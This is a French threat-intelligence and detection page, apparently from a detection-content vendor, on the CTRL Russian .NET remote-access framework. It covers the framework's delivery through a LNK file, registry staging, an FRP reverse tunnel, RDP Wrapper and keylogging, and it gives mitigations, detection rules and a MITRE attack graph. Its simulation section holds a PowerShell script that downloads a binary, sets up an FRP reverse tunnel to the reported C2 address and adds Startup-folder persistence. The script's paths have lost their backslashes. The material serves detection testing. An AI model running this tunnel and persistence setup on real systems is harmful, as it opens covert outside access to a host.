Sous CTRL : Analyse d’un Framework d’Accès .Net Russe Non Documenté Précédemment
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Censys ARC a découvert un outil d’accès à distance russe précédemment non documenté nommé CTRL, qui combine hameçonnage d’identifiants, enregistrement de frappes, détournement de RDP et tunnels inverses basés sur FRP. Le cadre est livré via un fichier LNK malveillant et dissimule ses binaires dans le registre Windows, où ils sont ensuite chargés directement en mémoire. Son infrastructure réseau comprend le domaine hui228.ru et deux adresses IP opérant un serveur FRP sur le port 7000. L’outil cible les hôtes Windows et maintient sa persistance via des tâches planifiées, des comptes d’utilisateurs locaux cachés, et des modifications basées sur le registre.
Enquête
Les chercheurs ont identifié le LNK dropper, reconstruit le chargeur PowerShell en couches, et retracé les binaires .NET étagés stockés en tant que REG_BINARY sous les clés de registre Explorer. Le stager télécharge ensuite des charges utiles supplémentaires, crée un chargeur ctrl.exe dissimulé, configure des tunnels FRP et déploie RDP Wrapper pour permettre des sessions à distance illimitées. Aucun des artefacts observés n’est apparu dans les flux d’intelligence sur les menaces publics, ce qui suggère que le cadre est une plateforme d’accès privée et construite à des fins spécifiques.
Atténuation
Les défenseurs devraient surveiller les écritures de registre inhabituelles sous les clés Explorer, la création de tâches planifiées nommées DriverSvcTask, NetTcpSvc, TermSvcHost, ou WindowsHealthMonitor, et les comptes locaux cachés ajoutés aux groupes Administrateurs ou Utilisateurs de Bureau à Distance. Les connexions sortantes vers les adresses IP identifiées et le port 7000 FRP devraient être bloquées, et le trafic de protocole FRP sur des systèmes inattendus devrait être signalé. Les installations non autorisées de FRP ou RDP Wrapper devraient être supprimées, et l’exécution PowerShell devrait être étroitement contrôlée.
Réponse
Si une activité liée à CTRL est trouvée, isolez le point de terminaison, acquérez le fichier LNK et la ruche de registre pertinente pour une analyse médico-légale, arrêtez le processus ctrl.exe et supprimez les tâches planifiées associées. Les nouveaux comptes locaux créés devraient être désactivés, les permissions RDP non autorisées révoquées, et les identifiants exposés tournés. Les équipes devraient ensuite scanner l’environnement plus large pour d’autres serveurs FRP et mettre à jour les règles de détection avec les IOCs observés.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#dddddd %% Nodes u2013 Actions (MITRE Techniques) action_user_exec["<b>Action</b> – <b>T1204.002 User Execution</b>: Victime clique sur le raccourci .lnk malveillant"] class action_user_exec action action_lnk_smuggle["<b>Action</b> – <b>T1027.012 LNK Icon Smuggling</b>: Le raccourci se déguise avec une icône de dossier"] class action_lnk_smuggle action action_powershell["<b>Action</b> – <b>T1059.001 PowerShell</b>: La commande PowerShell cachée décode la charge utile"] class action_powershell action action_deobfuscate["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files</b>: Plusieurs étapes Base64 et Deflate"] class action_deobfuscate action action_obfuscation["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b>: Noms de variables randomisés et construction de chaînes à l’exécution"] class action_obfuscation action action_shortcut_persistence["<b>Action</b> – <b>T1547.009 Shortcut Modification</b>: LNK sert de mécanisme de persistance"] class action_shortcut_persistence action action_scheduled_tasks["<b>Action</b> – <b>T1053 Scheduled Task/Job</b>: Quatre tâches créées pour exécuter les binaires au démarrage"] class action_scheduled_tasks action action_create_account["<b>Action</b> – <b>T1136.001 Create Account</b>: Compte administrateur local caché ajouté"] class action_create_account action action_uac_bypass["<b>Action</b> – <b>T1548 Abuse Elevation Control Mechanism</b>: Contournement UAC via détournement de registre fodhelper.exe"] class action_uac_bypass action action_proxy_execution["<b>Action</b> – <b>T1218 System Binary Proxy Execution</b>: wlrmdr.exe utilisé pour exécuter la charge utile avec des droits élevés"] class action_proxy_execution action action_priv_esc["<b>Action</b> – <b>T1068 Exploitation for Privilege Escalation</b>: corrige termsrv.dll et installe RDP Wrapper"] class action_priv_esc action action_masquerade["<b>Action</b> – <b>T1036 Masquerading</b>: Fichiers placés dans des répertoires cachés avec des noms d’aspect légitime"] class action_masquerade action action_hide_artifacts["<b>Action</b> – <b>T1564 Hide Artifacts</b>: Exclusions Defender, falsification d’horodatage, imitation de registre"] class action_hide_artifacts action action_keylogging["<b>Action</b> – <b>T1056.001 Input Capture u2013 Keylogging</b>: Capture des frappes de clavier de bas niveau écrit à C:Tempkeylog.txt"] class action_keylogging action action_cred_harvest["<b>Action</b> – Collecte d’identifiants : Interface Windows Hello WPF personnalisée capture les NIP"] class action_cred_harvest action action_rdp["<b>Action</b> – <b>T1021.001 Remote Services u2013 RDP</b>: RDP Wrapper permet un accès bureau à distance"] class action_rdp action action_rdp_hijack["<b>Action</b> – <b>T1563.002 Remote Service Session Hijacking</b>: L’attaquant ombre les sessions actives via mstsc /shadow"] class action_rdp_hijack action action_frp_proxy["<b>Action</b> – <b>T1090.002 Proxy u2013 External Proxy</b>: FRP tunnel vers hui228.ru:7000 agit comme proxy externe"] class action_frp_proxy action action_encrypted_channel["<b>Action</b> – <b>T1573 Encrypted Channel</b>: Trafic FRP chiffré, décryptage de la charge utile AES-256-CBC"] class action_encrypted_channel action action_valid_accounts["<b>Action</b> – <b>T1078.003 Valid Accounts u2013 Local Accounts</b>: Compte administrateur caché utilisé pour la persistance et le mouvement latéral"] class action_valid_accounts action action_lateral_movement["<b>Action</b> – Mouvement latéral : Utilisation de comptes d’administrateurs locaux valides pour se propager au sein du réseau"] class action_lateral_movement action %% Nodes u2013 Tools / Files / Processes tool_lnk["<b>Tool</b> – Raccourci .lnk armé<br/><b>Fichier</b>: kfxm7p9q_yek.lnk"] class tool_lnk tool tool_powershell["<b>Tool</b> – PowerShell<br/><b>Purpose</b>: Exécute un script caché qui décode et décompresse l’étage .NET"] class tool_powershell tool process_stager["<b>Process</b> – Étape .NET stockée en tant que REG_BINARY sous HKCU…Explorer"] class process_stager process tool_fodhelper["<b>Tool</b> – fodhelper.exe (Utilitaire Windows)"] class tool_fodhelper tool tool_wlrmdr["<b>Tool</b> – wlrmdr.exe (binaire Microsoft signé)"] class tool_wlrmdr tool tool_rdpwrapper["<b>Tool</b> – RDP Wrapper<br/><b>Function</b>: Active des sessions RDP illimitées en simultané"] class tool_rdpwrapper tool tool_frp["<b>Tool</b> – Client FRP<br/><b>Function</b>: Tunnel inverse vers un serveur externe"] class tool_frp tool keylog_file["<b>Fichier</b> – C:Tempkeylog.txt<br/><b>Contenu</b>: Frappes capturées"] class keylog_file file %% Connections u2013 Attack Flow action_user_exec –>|lance| tool_lnk tool_lnk –>|déclenche| action_lnk_smuggle action_lnk_smuggle –>|mène à| action_powershell action_powershell –>|exécute| tool_powershell tool_powershell –>|stocke la charge utile dans| process_stager process_stager –>|décodé par| action_deobfuscate action_deobfuscate –>|permet| action_obfuscation action_obfuscation –>|soutient| action_shortcut_persistence action_shortcut_persistence –>|crée| action_scheduled_tasks action_scheduled_tasks –>|crée| action_create_account action_create_account –>|facilite| action_uac_bypass action_uac_bypass –>|utilise| tool_fodhelper action_uac_bypass –>|utilise| tool_wlrmdr action_uac_bypass –>|active| action_proxy_execution action_proxy_execution –>|facilite| action_priv_esc action_priv_esc –>|installe| tool_rdpwrapper action_priv_esc –>|active| action_masquerade action_masquerade –>|conduit à| action_hide_artifacts action_hide_artifacts –>|ajoute| action_keylogging action_keylogging –>|écrit à| keylog_file action_keylogging –>|soutient| action_cred_harvest action_cred_harvest –>|active| action_rdp action_rdp –>|utilisé pour| action_rdp_hijack action_rdp_hijack –>|configure| action_frp_proxy action_frp_proxy –>|fournit| action_encrypted_channel action_encrypted_channel –>|permet| action_valid_accounts action_valid_accounts –>|utilisé pour| action_lateral_movement %% Styling Assignments class tool_lnk,tool_powershell,tool_fodhelper,tool_wlrmdr,tool_rdpwrapper,tool_frp tool class process_stager process class keylog_file file "
Flux d’Attaque
Détections
Potentiel d’ombrage des services de bureau à distance (via registry_event)
Voir
Chaînes PowerShell suspectes (via powershell)
Voir
Chaînes PowerShell suspectes (via cmdline)
Voir
Modifications suspectes des préférences de Windows Defender (via powershell)
Voir
Élévation de privilège (contournement UAC) dans FodHelper (via registry_event)
Voir
IOCs (HashSha256) à détecter : Sous CTRL : Dissection d’un cadre d’accès .Net russe précédemment non documenté
Voir
IOCs (DestinationIP) à détecter : Sous CTRL : Dissection d’un cadre d’accès .Net russe précédemment non documenté
Voir
IOCs (Emails) à détecter : Sous CTRL : Dissection d’un cadre d’accès .Net russe précédemment non documenté
Voir
IOCs (SourceIP) à détecter : Sous CTRL : Dissection d’un cadre d’accès .Net russe précédemment non documenté
Voir
Détecter les connexions de tunnels inversés FRP malveillants [Connexion réseau Windows]
Voir
Détecter la persistance de l’outil CTRL via les clés de registre Explorer [Événement du registre Windows]
Voir
Détecter l’exécution PowerShell obfusquée avec charge utile encodée [Windows Powershell]
Voir
Exécution de simulation
Prérequis : Le contrôle préalable de la télémétrie et la référence doivent avoir réussi.
-
Narration de l’attaque et commandes :
Un adversaire a déjà déposé le client FRP (frp.exe) sur l’hôte Windows compromis via une pièce jointe de phishing malveillante. Pour maintenir la persistance, l’attaquant enregistre un raccourci dans le dossier de démarrage qui lance FRP avec une configuration pointant vers le serveur C2194.33.61.36:7000. Lorsqu’un utilisateur se connecte, le raccourci démarre FRP, qui ouvre un tunnel TCP inverse vers l’attaquant, permettant à l’attaquant de transférer tout service local (par exemple, SMB) via le tunnel. La connexion réseau générée par FRP correspond aux critères de la règledst_ipanddst_portce qui entraîne une alerte. -
Script de test de régression : (PowerShell – autonome)
# ============================================================================= # Simulation de tunnel inverse FRP – déclenche la règle Sigma fcb13968-1490-44c2-9f9f-c1ad2b668ce6 # ============================================================================= # Variables $frpUrl = "https://example.com/frp.exe" # remplacer par un petit binaire test accessible $frpPath = "$env:ProgramDatafrp.exe" $cfgPath = "$env:ProgramDatafrp_client.ini" $c2Ip = "194.33.61.36" $c2Port = "7000" $startupLnk = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk" # 1. Télécharger le binaire FRP (simulé – utiliser tout petit exécutable pour le test) Invoke-WebRequest -Uri $frpUrl -OutFile $frpPath -UseBasicParsing # 2. Créer une configuration client FRP minimale @" [common] server_addr = $c2Ip server_port = $c2Port [ssh] type = tcp local_port = 22 remote_port = 6000 "@ | Set-Content -Path $cfgPath -Encoding ASCII # 3. Créer un raccourci dans le dossier de démarrage pour exécuter FRP au démarrage $ws = New-Object -ComObject WScript.Shell $shortcut = $ws.CreateShortcut($startupLnk) $shortcut.TargetPath = $frpPath $shortcut.Arguments = "-c `"$cfgPath`"" $shortcut.WorkingDirectory = Split-Path $frpPath $shortcut.Save() # 4. Lancer FRP maintenant (pour que nous puissions voir la télémétrie immédiatement) Start-Process -FilePath $frpPath -ArgumentList "-c `"$cfgPath`"" -WindowStyle Hidden Write-Host "Tunnel inverse FRP lancé. Vérifier le SIEM pour la détection." -
Commandes de nettoyage :
# Arrêter le processus FRP Get-Process -Name frp -ErrorAction SilentlyContinue | Stop-Process -Force # Supprimer les fichiers et le raccourci Remove-Item -Path "$env:ProgramDatafrp.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDatafrp_client.ini" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk" -Force -ErrorAction SilentlyContinue Write-Host "Nettoyage terminé."